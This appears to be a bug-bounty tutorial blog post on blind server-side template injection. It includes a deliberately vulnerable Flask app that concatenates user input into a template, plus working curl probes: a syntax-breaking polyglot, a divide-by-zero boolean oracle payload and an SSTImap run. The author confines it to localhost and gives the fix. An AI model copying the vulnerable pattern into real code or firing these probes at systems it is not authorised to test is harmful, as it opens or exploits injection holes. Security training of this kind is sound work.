December 3, 2026
No 49 On The Page? Your SSTI Is Still There
A blind SSTI lab, a polyglot that finds template parsing, and the boolean error oracle that proves injection without any output.

By Nitin yadav
5 min read
Hello, I am Nitin.
I am training a student for the Burp Suite Certified Practitioner exam right now, and SSTI is the topic where the labs are kind and the real world is not. In the labs you type {{7*7}}, the page says 49, and you feel like a genius. On real targets the page almost never says 49. Your input goes into a welcome email you never receive, a PDF you cannot see, a notification that renders somewhere else. The injection is there. The output is not.
That gap is exactly what the number one web hacking technique of 2025 closes. Week 2 of this batch is the research most hunters skipped, and we start at the top of the list.
Why it matters (and pays) right now
Every year PortSwigger's community and an expert panel pick the ten most important web hacking techniques. For 2025, the winner was "Successful Errors: New Code Injection and SSTI Techniques" by Vladislav Korchagin (vladko312), the person who maintains SSTImap.
The research gives names and payloads to two techniques: error-based and boolean error-based blind, for code injection and SSTI in Python, PHP, Java, Ruby, NodeJS and Elixir. They shipped inside SSTImap's 1.3 releases.
The money logic is simple. Server-side template injection usually ends in code execution, and code execution sits at the top of every bounty table. The hunters who stop at "no 49 on the page" leave those findings for whoever reads this.
How it works, in plain words
- SSTI happens when your input becomes part of a template, instead of being passed into one as data. The template engine then runs your input as template code.
- Rendered SSTI is the easy kind: the result appears on the page.
- Time-based blind is the old fallback: make the server sleep and measure the delay. Slow, noisy and easy to misread.
- Error-based is new in name, not in spirit. When errors are shown to you, you deliberately cause an error whose message contains the result of your code. Like an error saying "invalid number: x49", where 49 is what you computed.
- Boolean error-based blind is the clever one. Even when errors are hidden, a crash usually changes something you can see, often a 500 instead of a 200. So you write: if my condition is true, crash, otherwise do nothing. Every request answers one yes-or-no question.
- Polyglots speed up detection. A string like the one in the hunt below breaks the syntax of most template engines at once, so one request tells you whether a template is involved at all.
Hunt map โ polyglot, fingerprint, error-based, boolean, report
Build the lab
A blind template injection, the way it looks in real code: the template renders, nobody shows you the result, and the only signal is success or failure.
mkdir ssti-lab && cd ssti-lab
python3 -m venv .venv && source .venv/bin/activate && pip install flask
# app.py - deliberately vulnerable, blind SSTI. Localhost only.
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.get('/greet')
def greet():
name = request.args.get('name', 'friend')
try:
# BUG: user input is concatenated INTO the template source
render_template_string('Dear ' + name + ', thanks for subscribing')
except Exception:
return 'Something went wrong', 500 # blind: no output, only a status
return 'Thanks! Check your inbox.', 200
if __name__ == '__main__':
app.run(host='127.0.0.1', port=5000)
python3 app.pymkdir ssti-lab && cd ssti-lab
python3 -m venv .venv && source .venv/bin/activate && pip install flask
# app.py - deliberately vulnerable, blind SSTI. Localhost only.
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.get('/greet')
def greet():
name = request.args.get('name', 'friend')
try:
# BUG: user input is concatenated INTO the template source
render_template_string('Dear ' + name + ', thanks for subscribing')
except Exception:
return 'Something went wrong', 500 # blind: no output, only a status
return 'Thanks! Check your inbox.', 200
if __name__ == '__main__':
app.run(host='127.0.0.1', port=5000)
python3 app.pyThe hunt, step by step
Step 1: the classic probe fails, which is the point
curl -s -G localhost:5000/greet --data-urlencode 'name={{7*7}}'curl -s -G localhost:5000/greet --data-urlencode 'name={{7*7}}'You get "Thanks! Check your inbox." No 49 anywhere. This is where most people move on.
Step 2: break the syntax with a polyglot
for p in 'nitin' '{{' '${{<%[%'"'"'"}}%\.' '{{7*7}}'; do
printf '%-22s -> ' "$p"
curl -s -o /dev/null -w '%{http_code}\n' -G localhost:5000/greet --data-urlencode "name=$p"
donefor p in 'nitin' '{{' '${{<%[%'"'"'"}}%\.' '{{7*7}}'; do
printf '%-22s -> ' "$p"
curl -s -o /dev/null -w '%{http_code}\n' -G localhost:5000/greet --data-urlencode "name=$p"
doneWhat to look for: plain text gives 200, broken syntax gives 500, valid template syntax gives 200 again. That pattern (200, 500, 500, 200) means a template engine is parsing your input. On a real target, compare status codes, response lengths and timing, not just visible text.
Step 3: the boolean oracle
ask() {
curl -s -o /dev/null -w '%{http_code}\n' -G localhost:5000/greet \
--data-urlencode "name={{ (1/0) if $1 else 0 }}"
}
ask '1==1' # 500: the condition was true, so it divided by zero
ask '1==2' # 200: false, nothing crashedask() {
curl -s -o /dev/null -w '%{http_code}\n' -G localhost:5000/greet \
--data-urlencode "name={{ (1/0) if $1 else 0 }}"
}
ask '1==1' # 500: the condition was true, so it divided by zero
ask '1==2' # 200: false, nothing crashedWhat confirms it: the response flips with a condition you chose. That is blind SSTI, proven, without seeing a single byte of output.
The same oracle can answer any yes-or-no question about the server's template context, one character at a time. In your own lab, that is how you understand blind extraction. On a real target, the flip between 1==1 and 1==2 is already enough proof. Stop there.
Step 4: let SSTImap do the engine-specific work
git clone <https://github.com/vladko312/SSTImap> && cd SSTImap
pip install -r requirements.txt
python3 sstimap.py -u '<http://127.0.0.1:5000/greet?name=*>'
python3 sstimap.py --help # the technique switches change between versionsgit clone <https://github.com/vladko312/SSTImap> && cd SSTImap
pip install -r requirements.txt
python3 sstimap.py -u '<http://127.0.0.1:5000/greet?name=*>'
python3 sstimap.py --help # the technique switches change between versionsSSTImap fingerprints the engine and tries rendered, error-based, boolean and time-based techniques for you. Run it in the lab first, so you know exactly what traffic it sends before it ever touches a programme.
Step 5: where SSTI hides on real targets in 2026
- Display names and company names that end up in welcome or invoice emails
- PDF and invoice generators, certificate builders, export features
- Custom notification or message templates in admin and marketing tools
- "Personalise your email" features, signatures, auto-replies
- Error pages and 404 pages that echo the path
For each one, send the polyglot, watch for the status or length flip, then confirm with a boolean pair. Write down the engine and stop.
Where it showed up in the wild
- PortSwigger Top 10 of 2025, number one: Successful Errors, published as an open whitepaper with payloads across six languages and integrated into SSTImap.
- The pattern behind it: classic SQL injection techniques (error-based and boolean-based) carried over to template engines. Old ideas, new place, top prize.
- Why blind matters: most production apps hide errors and render templates in background jobs. Error-based and boolean techniques are how real targets get confirmed instead of abandoned.
Where AI helps, and where it lies
An LLM is useful for one thing here: given a stack trace or a framework name, it can suggest which template engine is likely and what that engine's conditional syntax looks like. That saves you time building the boolean pair.
Where it lies: ask it for "an SSTI payload for this engine" and it will confidently invent filters and functions that do not exist. Every payload goes into your lab before it goes anywhere else.
Writing it up so it pays
- Title:
Blind server-side template injection in display name (Jinja2), confirmed with a boolean error oracle - Proof: the two requests (true condition returns 500, false returns 200), repeated three times so the triager sees it is not flaky.
- Impact: explain that template code execution in this engine normally leads to server-side code execution, and that you stopped at the oracle on purpose. Triagers respect a hunter who knew where to stop.
- Fix: never concatenate input into template source; pass it as a variable, and use a sandboxed environment for user-editable templates.
Conclusion โ steal this checklist
- Build the blind lab and watch
{{7*7}}return nothing - Run the polyglot loop and read the 200, 500, 500, 200 pattern
- Prove the oracle with
1==1returning 500 and1==2returning 200 - Run SSTImap against the lab and read the traffic it sends
- List every input that reaches emails, PDFs, exports and notifications on your target
- Compare status, length and timing, not just visible text
- Confirm with a boolean pair, repeat it three times, and stop
- Report the engine, the oracle and the fix